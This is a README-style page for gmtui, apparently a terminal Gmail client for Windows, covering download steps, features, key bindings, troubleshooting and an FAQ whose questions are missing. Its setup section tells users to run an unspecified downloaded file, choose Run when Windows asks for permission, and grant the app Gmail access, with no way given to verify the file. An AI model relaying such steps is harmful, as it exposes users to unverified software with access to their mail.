gmtui is a terminal app for Gmail. It lets you read, search, and manage email with the keyboard. It is built for speed and uses a clean terminal layout.
If you want to try it on Windows, use the link below:
- Open the download page.
- Look for the latest Windows build or release file.
- Download the file for your PC.
- If the file comes in a
.zipfolder, right-click it and choose Extract All. - Open the extracted folder.
- Double-click the app file to run gmtui.
- If Windows asks for permission, choose Run.
If you do not see a release file yet, use the main project page and check back when a Windows build is posted:
gmtui gives you a keyboard-first way to work with Gmail in a terminal window. It is useful if you want a fast inbox view without a full mail app.
You can use it to:
- Read new messages
- Move through your inbox with the keyboard
- Search mail by sender, subject, or word
- Open long email threads
- Archive mail
- Mark messages as read or unread
- Delete mail when you need to clean up your inbox
- Work with a simple screen that fits well in a terminal
gmtui is made for common desktop systems, with a focus on Windows. A typical setup looks like this:
- Windows 10 or later
- A terminal window
- A stable internet connection
- A Gmail account
For the best result, use a terminal with a clear font and a window size that gives you room to read email threads.
After you open gmtui, you move through the app with keys on your keyboard.
Common actions may include:
- Up and down arrows to move through lists
- Enter to open an email
- Esc to go back
- Tab to switch between panes or fields
- Slash
/to search - Shortcut keys to archive, delete, or mark mail
The app is built around quick, repeatable actions. That makes it easier to work through a large inbox without using the mouse.
gmtui connects to Gmail through the Gmail API. That means you may need to sign in with your Google account when you first set it up.
A normal setup flow often looks like this:
- Start the app.
- Sign in with your Gmail account.
- Allow access when Google asks.
- Return to the terminal app.
- Start browsing your mail.
Use the account you want to manage. If you have more than one Gmail account, set up each one separately.
See your mail in a clean list. Unread messages stand out so you can spot them fast.
Find messages by name, subject, or text in the message body.
Open a message chain and read the full conversation in order.
Handle common inbox tasks from the keyboard, such as archive, delete, and mark as read.
Move through mail without loading a full desktop email app.
Use a clear terminal UI with less clutter and fewer distractions.
If the app does not open the first time, try these steps:
- Make sure the download finished fully.
- Check that Windows did not place the file inside a blocked folder.
- If the file is inside a zip archive, extract it first.
- Run the app from the extracted folder.
- Keep the terminal window open while the app runs.
- Use a full-size terminal window if the text looks cramped.
If your screen looks hard to read, change the terminal font size in Windows Terminal or Command Prompt settings.
A terminal app works best when you learn a few keys. Start with these habits:
- Use arrow keys to move one item at a time
- Press Enter to open the selected message
- Use Backspace or Esc to return to the previous view
- Use search before scrolling through a long inbox
- Keep your hands on the keyboard to move faster
If you use mail every day, this style can save time.
Open the main project page here:
Use this page to get the latest build, check updates, or review the project details.
gmtui fits well if you:
- Prefer the keyboard over the mouse
- Want a lighter email app
- Work in the terminal often
- Like a clean text-based layout
- Want a focused way to handle Gmail
- Need a tool that feels quick on older PCs
No. The app is built for normal users who want a simple way to read Gmail in the terminal.
No. You only need to download the app, open it, and sign in with Gmail.
Yes. Use the download page and follow the Windows steps above.
It can act as an alternate way to work with Gmail, but it does not need to replace your browser mail page. You can use both.
Yes. It is designed for quick keyboard use and a light terminal layout.
If you need the main link again, use this page:
- Download gmtui from the project page.
- Open the file on Windows.
- Sign in with Gmail.
- Use the keyboard to move through your inbox